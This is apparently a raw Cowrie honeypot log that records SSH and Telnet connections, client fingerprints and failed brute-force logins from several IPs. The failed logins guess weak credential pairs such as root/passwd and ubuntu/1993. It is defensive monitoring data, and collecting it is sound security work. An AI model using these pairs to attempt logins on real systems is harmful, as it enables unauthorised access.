{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:29.465621Z","src_ip":"176.65.139.103","session":"b4a99fb45ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":57646,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe058d5e7f1","protocol":"telnet","message":"New connection: 5.189.169.71:57646 (10.17.0.5:23) [session: bbe058d5e7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:29.707424Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:30.549846Z","src_ip":"176.65.139.103","session":"b4a99fb45ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46436,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad70cf352f11","protocol":"telnet","message":"New connection: 23.254.167.244:46436 (159.203.135.109:23) [session: ad70cf352f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:33.452380Z"}
{"eventid":"cowrie.session.closed","duration":30.576813459396362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.203457Z","src_ip":"5.189.169.71","session":"7c375f763305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47424,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65a09162093","protocol":"ssh","message":"New connection: 176.65.139.103:47424 (10.17.0.5:22) [session: a65a09162093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.478475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.483130Z","src_ip":"176.65.139.103","session":"a65a09162093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.564979Z","src_ip":"176.65.139.103","session":"a65a09162093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":38975,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f9ac0cd04eb","protocol":"ssh","message":"New connection: 74.87.117.149:38975 (10.17.0.5:22) [session: 7f9ac0cd04eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.610241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.614539Z","src_ip":"74.87.117.149","session":"7f9ac0cd04eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.638647Z","src_ip":"74.87.117.149","session":"7f9ac0cd04eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1993","message":"login attempt [ubuntu/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.768667Z","src_ip":"74.87.117.149","session":"7f9ac0cd04eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:35.810702Z","src_ip":"176.65.139.103","session":"a65a09162093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":40430,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d2875d91c4","protocol":"telnet","message":"New connection: 94.23.163.94:40430 (10.17.0.5:23) [session: 08d2875d91c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:36.420993Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:36.794996Z","src_ip":"74.87.117.149","session":"7f9ac0cd04eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:36.896134Z","src_ip":"176.65.139.103","session":"a65a09162093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":57658,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5efa8e87da7","protocol":"telnet","message":"New connection: 5.189.169.71:57658 (10.17.0.5:23) [session: a5efa8e87da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:37.249029Z"}
{"eventid":"cowrie.session.closed","duration":30.390103816986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:40.023750Z","src_ip":"23.254.167.244","session":"7c31a903edfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.226640462875366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:41.139703Z","src_ip":"94.23.163.94","session":"fe275b794a1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47426,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b50f59ac1fb","protocol":"ssh","message":"New connection: 176.65.139.103:47426 (10.17.0.5:22) [session: 6b50f59ac1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:41.725088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:41.729512Z","src_ip":"176.65.139.103","session":"6b50f59ac1fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:41.812959Z","src_ip":"176.65.139.103","session":"6b50f59ac1fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.821283102035522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:42.048805Z","src_ip":"5.189.169.71","session":"43d50d422fb7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:42.063549Z","src_ip":"176.65.139.103","session":"6b50f59ac1fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.139.27","src_port":38472,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bc895d7a9ff","protocol":"telnet","message":"New connection: 149.202.139.27:38472 (159.203.135.109:23) [session: 7bc895d7a9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:42.195288Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1e4ff589c9d","protocol":"telnet","message":"New connection: 94.23.163.94:36222 (10.17.0.5:23) [session: c1e4ff589c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:43.357393Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:43.369804Z","src_ip":"176.65.139.103","session":"6b50f59ac1fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50768804550171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:44.103412Z","src_ip":"5.189.169.71","session":"791337a14af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":35636,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ba7f4f43218","protocol":"telnet","message":"New connection: 5.189.169.71:35636 (10.17.0.5:23) [session: 5ba7f4f43218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:45.516915Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":35646,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d746b48ad7","protocol":"telnet","message":"New connection: 5.189.169.71:35646 (10.17.0.5:23) [session: a7d746b48ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:45.798743Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":35658,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9791fa2d620","protocol":"telnet","message":"New connection: 5.189.169.71:35658 (10.17.0.5:23) [session: c9791fa2d620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:47.133880Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52736,"dst_ip":"10.17.0.5","dst_port":22,"session":"70638b871aaf","protocol":"ssh","message":"New connection: 176.65.139.103:52736 (10.17.0.5:22) [session: 70638b871aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:48.133107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:48.136993Z","src_ip":"176.65.139.103","session":"70638b871aaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:48.218456Z","src_ip":"176.65.139.103","session":"70638b871aaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:48.465723Z","src_ip":"176.65.139.103","session":"70638b871aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:49.606580Z","src_ip":"176.65.139.103","session":"70638b871aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.09435033798218,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:50.210700Z","src_ip":"23.254.167.244","session":"111270de9a91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38512,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1fa2d853f4","protocol":"telnet","message":"New connection: 5.189.169.71:38512 (10.17.0.5:23) [session: dd1fa2d853f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:50.246417Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36224,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec51b7ed713","protocol":"telnet","message":"New connection: 94.23.163.94:36224 (10.17.0.5:23) [session: cec51b7ed713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:50.516134Z"}
{"eventid":"cowrie.session.closed","duration":30.283665418624878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:52.199377Z","src_ip":"94.23.163.94","session":"b67ffe91965b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34422,"dst_ip":"159.203.135.109","dst_port":23,"session":"46b4bc5bb6b2","protocol":"telnet","message":"New connection: 23.254.167.244:34422 (159.203.135.109:23) [session: 46b4bc5bb6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:52.547513Z"}
{"eventid":"cowrie.session.closed","duration":30.924713850021362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:53.288677Z","src_ip":"94.23.163.94","session":"c483f098ec52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":41556,"dst_ip":"10.17.0.5","dst_port":23,"session":"9920f28ae871","protocol":"telnet","message":"New connection: 94.23.163.94:41556 (10.17.0.5:23) [session: 9920f28ae871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:53.509100Z"}
{"eventid":"cowrie.session.closed","duration":38.10308861732483,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:53.819234Z","src_ip":"23.254.167.244","session":"2ac56391eeca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.205071687698364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:54.060718Z","src_ip":"5.189.169.71","session":"7eeed63b5a17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.72032189369202,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:54.129987Z","src_ip":"23.254.167.244","session":"f076a370edba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50300,"dst_ip":"10.17.0.5","dst_port":22,"session":"2edecc953b98","protocol":"ssh","message":"New connection: 176.65.139.103:50300 (10.17.0.5:22) [session: 2edecc953b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:54.238659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:54.243312Z","src_ip":"176.65.139.103","session":"2edecc953b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:54.325573Z","src_ip":"176.65.139.103","session":"2edecc953b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.210.233.3","src_port":47156,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee8312343642","protocol":"telnet","message":"New connection: 115.210.233.3:47156 (10.17.0.5:23) [session: ee8312343642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:54.470648Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:54.686335Z","src_ip":"176.65.139.103","session":"2edecc953b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.846938133239746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:55.094818Z","src_ip":"54.38.163.60","session":"52c010833ee2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.297179698944092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:55.249902Z","src_ip":"5.189.169.71","session":"8cc5f37e7e6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:55.774661Z","src_ip":"176.65.139.103","session":"2edecc953b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12627100944519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:56.084290Z","src_ip":"5.189.169.71","session":"f5e21fde7d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83620595932007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:56.637067Z","src_ip":"94.23.163.94","session":"5b9871110872","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":38518,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9b213cb18e","protocol":"telnet","message":"New connection: 5.189.169.71:38518 (10.17.0.5:23) [session: ec9b213cb18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:57.097200Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56042,"dst_ip":"159.203.135.109","dst_port":22,"session":"708b34ab3249","protocol":"ssh","message":"New connection: 159.203.92.129:56042 (159.203.135.109:22) [session: 708b34ab3249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:57.267451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:57.271967Z","src_ip":"159.203.92.129","session":"708b34ab3249","protocol":"ssh"}
